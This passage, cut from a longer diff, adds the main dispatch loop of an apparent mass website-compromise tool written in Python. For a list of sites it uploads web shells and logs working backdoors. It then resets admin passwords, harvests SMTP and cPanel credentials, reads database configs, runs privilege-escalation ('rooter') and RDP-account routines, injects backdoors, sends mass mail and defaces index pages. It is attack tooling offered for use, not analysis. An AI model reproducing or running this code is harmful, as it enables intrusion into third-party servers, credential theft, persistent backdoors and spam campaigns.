srcShell, tyShell, q); return + if (w == 23 or w == 24 or w == 25 or w == 26 or w == 27 or w == 28): + for site in yList: + try: + datacPanel = site.strip() + if (w == 28): + cp = cPanel(datacPanel) + if (cp is False): print(''); continue + else: + cpL = datacPanel.split('|') + if (tyReport == 1): solving_cP_Reports_A(cpL[0], cpL[1], cpL[2], cp[1], cp[0], cp[2], cp[3], testSend) + elif (tyReport == 2): solving_cP_Reports_S(cpL[0], cpL[1], cpL[2], cp[1], cp[0], cp[2], cp[3], email, testSend) + else: + cp = cPanel(datacPanel, up=1) + if (cp is False): print(''); continue + else: + newBackdoor = check(cp) + open('Results/F-backdoors.txt', 'a').write('{}?action={}\n'.format(newBackdoor, backdoor2)) + if (w == 23): SMTPs(newBackdoor) + elif (w == 24): file_UPloader(newBackdoor, srcShell, tyShell, q) + elif (w == 25 and tyPbk == 1): backdoor_Injection(newBackdoor) + elif (w == 25 and tyPbk == 2): MASS_Backdoor(newBackdoor, nameF) + elif (w == 26): UNZIP(newBackdoor, filezip) + elif (w == 27): sending_Checker(newBackdoor, datacPanel) + print('') + except: + print(' {}[-] Failed.\n'.format(fr)) + if (w != 24): sevedin(ps[w][0], ps[w][1], ps[w][2]) + return + if(w == 29): Option29(yList, srcShell, tyShell, q); return + if(w == 30): Option30(yList, srcShell, tyShell, q); return + for site in yList: + try: + url = shell_Form(site).strip() + print(' --| {}{}'.format(fc, url)) + shell_path = file_UPloader_ALL(url) + if (shell_path is False): + print(' {}[-] Shell not Working OR Upload failed.\n'.format(fr)) + open('Results/Failed.txt', 'a').write('{}\n'.format(url)) + continue + shell_path = check(shell_path) + if (shell_path is False): + print(' {}[-] Shell not Working OR Upload failed.\n'.format(fr)) + open('Results/Failed.txt', 'a').write('{}\n'.format(url)) + continue + print(' {}[+] Shell is Working.'.format(fg)) + open('Results/F-backdoors.txt', 'a').write('{}?action={}\n'.format(shell_path, backdoor2)) + if (w == 1): + if (tyRest == 1): resetPwdA_Fox(shell_path, url) + elif (tyRest == 2): resetPwdS_Fox(shell_path, url, email) + elif (w == 2): SMTPs(shell_path) + elif (w == 3): info(shell_path, url) + elif (w == 4): accesshash_mycnf(shell_path, url) + elif (w == 5): configs(shell_path, url) + elif (w == 6): + config = configs(shell_path, url) + if (config is False): print(''); continue + else: + cPanels_Cracker(shell_path) + whmcs_ex(shell_path, url) + elif (w == 7): + config = configs(shell_path, url) + if (config is False): print(''); continue + else: + logins = panels(shell_path, config[0], config[1], typeAc) + if (logins is False): print(''); continue + else: + shells = UPer_SH_by_Panels(logins[0], logins[1], logins[2], logins[3], 0, srcShell, tyShell) + if (q.lower() == 'y' or q.lower() == 'yes'): + if (shells is False): print(''); continue + else: + for shell in shells: + try: + print(' --| {}{}'.format(fc, URL_FOX(shell))) + newShell = check(shell) + resetPwdA_Fox(newShell,'{}?action={}\n'.format(newShell, backdoor2)) + SMTPs(newShell) + except: + print(' {}[-] Failed.'.format(fr)) + print('') + else: return + elif (w == 8): rooter(shell_path, url) + elif (w == 9): RDP_creator(shell_path, url) + elif (w == 10): domains(shell_path) + elif (w == 11): mail_single(shell_path) + elif (w == 12): + config = configs(shell_path, url) + if (config is False): print(''); continue + else: mail_mass(shell_path, config[0]) + elif (w == 13): mailer_UPloader(shell_path, srcMailer) + elif (w == 14): + if (tyUP == 1): file_UPloader(shell_path, srcShell, tyShell + 3, q) + elif (tyUP == 2): file_Main_UPloader(shell_path, srcShell, tyShell + 3, q) + elif (w == 15): + if (tyUP == 1): index_UPloader_1(shell_path, nameF, q, nameA) + elif (tyUP == 2): index_UPloader_2(shell_path, nameF, q, nameA) + elif (w == 16): UNZIP(shell_path, filezip) + elif (w == 17): + if (tyPbk == 1): backdoor_Injection(shell_path) + elif (tyPbk == 2): MASS_Backdoor(shell_path, nameF) + elif (w == 18): sending_Checker(shell_path, url) + elif (w == 19): + if (tyReport == 1): solving_SH_Reports_A(shell_path, url, testSend) + elif (tyReport == 2): solving_SH_Reports_S(shell_path, url, email, testSend) + elif (w == 21): + resetPwdA_Fox(shell_path, url) + SMTPs(shell_path) + elif (w == 22): + resetPwdA_Fox(shell_path, url) + SMTPs(shell_path) + accesshash_mycnf(shell_path, url) + rooter(shell_path, url) + config = configs(shell_path, url) + if (config is False): print(''); continue + else: + cPanels_Cracker(shell_path) + whmcs_ex(shell_path, url) + print('') + except : + print(' {}[-] Shell not Working OR Upload failed.\n'.format(fr)) + open('Results/Failed.txt', 'a').write('{}\n'.format(url.strip())) + sevedin(ps[w][0], ps[w][1], ps[w][2]) + except : + pass + +def main(): + try: + F() + input_Fox(' {}[{}!{}] {}Press Enter to exit '.format(fw, fr, fw, fc)) + except: + pass +main() \ No newline at end of file